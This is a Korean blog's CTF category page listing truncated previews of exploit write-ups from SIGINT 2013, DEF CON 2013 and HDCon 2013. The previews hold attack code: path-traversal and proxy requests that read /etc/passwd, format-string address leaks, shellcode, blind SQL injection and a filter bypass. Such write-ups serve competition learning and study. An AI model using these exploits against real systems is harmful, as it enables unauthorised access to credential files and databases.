본문 바로가기

Computer Security/CTF

[SIGINT 2013] mail exploit import smtplib import sys sender = 'hans@ck.er' receivers = ['test@b3.ctf.sigint.ccc.de'] if sys.argv[1] == "tunz": message = """From: ~~~~~~your email address~~~~~~ To: cloud Subject: get passwd This is a test e-mail message. """ else: message = """From: /../../../../../../../etc@asdf.com To: cloud Subject: share passwd ~~~~~~your email address~~~~~~ This is a test e-mail message. """ print mes.. 더보기
[SIGINT 2013] proxy exploit from socket import * import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('188.40.147.125',8080)) #s.connect(('localhost',8080)) s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n") get=s.recv(65000) print get 더보기
[defcon 2013] annyong exploit 대회때 푼건 아니고, 끝나고 연습용으로 품. 64bit, PIE, xinetd 환경. 실제 대회에서는 system offset은 브루트포싱으로 알아낼수있음. from socket import * from struct import * import sys cmd = "ls -al\x00" s = socket(AF_INET,SOCK_STREAM) s.connect(('localhost',5679)) # mov rdi rsi 0x1086 # write 0xfe3 s.send("%265$p\n") get=s.recv(1024) base_addr = int(get[2:],16) - 0x1127 print "base_addr: "+hex(base_addr) s.send("%4$p\n") get=s.recv(1024).. 더보기
[defcon 2013] gnireenigne, musicman, exploit 파일 헤더의 41~44바이트 부분을 조작함으로써, ReadChar 함수에서 읽는 부분을 조작할 수 있다. 이렇게 오프셋을 100만칸 옮기고, 파일을 다운받는다. 그리고 , IDA로 ReadChar의 소스를 긁어와서 컴파일 한후, 다운받은 파일을 다시 글자로 변환한다. from socket import * from struct import * s = socket(AF_INET,SOCK_STREAM) s.connect(('musicman.shallweplayaga.me',7890)) length=0 f = open('file','wb') while True: get=s.recv(0xffff) f.write(get) length = length + len(get) if length >= 211724: brea.. 더보기
[defcon 2013] \xff\xe4\xcc, linked, exploit 쉘코드 숏코드 만들기 문제 다른팀들은 대부분 tag의 2바이트 정도를 확인하는 식으로 한것 같은데, 난 생각이 안나서, 그냥 tag의 1바이트만 체크하는 식으로 루프를 돌려서 대략 2시간쯤 걸린듯 하다. 00000000 59 pop ecx 00000001 5B pop ebx 00000002 51 push ecx 00000003 8B1B mov ebx,[ebx] 00000005 8B4304 mov eax,[ebx+0x4] 00000008 3C00 cmp al,0x0 0000000A 8D4308 lea eax,[ebx+0x8] 0000000D 75F4 jnz 0x3 0000000F C3 ret from socket import * import time while True: s = socket(AF_INET,.. 더보기
[defcon 2013] 3dub, babysfirst, exploit sqlite injection 문제. import httplib,urllib; # Blind SQL injection ck = "" referer = "" # barking up the wrong tree -- # setting #toget = "(SELECT password from users where name='root')" #toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" #toget = "(SELECT count() from keys)" #toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" toget = "(SELEC.. 더보기
[HDCon 2013] 5번 문제 write up 처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다. 근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다. system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오.. 더보기
[HDCon 2013] 4번 문제 write up 아주 간단한 문제였다. 우선, 그림판에서 대충 jpg 파일을 만든후, 문제에서 주어진 파일과 비교를 한다.가장 기초중의 기초인 xor을 해보자, 4바이트의 키로 xor을 하고있는것을 알 수 있었다. """ >>> hex(0xBB ^ 0xFF) '0x44' >>> hex(0xCE ^ 0xD8) '0x16' >>> hex(0xDA ^ 0xFF) '0x25' >>> hex(0xE6 ^ 0xE0) '0x6' >>> hex(0x44 ^ 0x00) '0x44' >>> hex(0x06 ^ 0x10) '0x16' 0x44162506 0x06251644 """ f = open('secret.jpg','rb') f2 = open('new.jpg','w') data = f.read() i=0 while i 1; if ( v.. 더보기
[HDCon 2013] 3번 문제 write up (2번 문제는 생략하도록 한다. 그냥 네이트온 대화가 오간것을 찾으면 된다.) virtual host 문제였다. 서버가 virtual host일때, HTTP 헤더의 'Host' 헤더에 따라서 폴더의 경로가 바뀔수 있다.이번에 처음 안 사실이고, 신기했다. 그래서, 기본적으로는 host가 kisa로 되어있으며, Host를 localhost로 변경할경우 다른 폴더가 나타난다. import httplib,urllib; import time from socket import * """ s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.213',8888)) s.send("GET /2013_06_04_blog_backup_.zip HTTP/1.1\r\n") s.se.. 더보기
[HDCon 2013] 1번 문제 write up 1번 문제는 sql injection 문제였다. injection 위치는 limit 부분이었다. limit 부분에 인젝션이 가능할때는 union 인젝션만 가능하다고 알고 있었고, 이게 맞는듯 하다.그래서 '(', select, from 등이 필터링이 되어있다는걸 알았을때는 멘붕이었고, 내가 잘못 알고 있나 해서 검색을 엄청나게 했다.하지만, 이 문제는 좀 다른 방향으로 접근해야 했다.문제파일의 확장자는 'do' 였다. do 확장자에 대해 검색해보면, do 확장자에서 jsp를 불러온다는걸 알수있다.그래서 students.do 대신 students.jsp로 요청을 하면 ,select의 필터링이 풀린다. (즉, do에서 필터링을 하고있었다는걸 알수있다.)그 후에는 간단한 union 인젝션이다. import h.. 더보기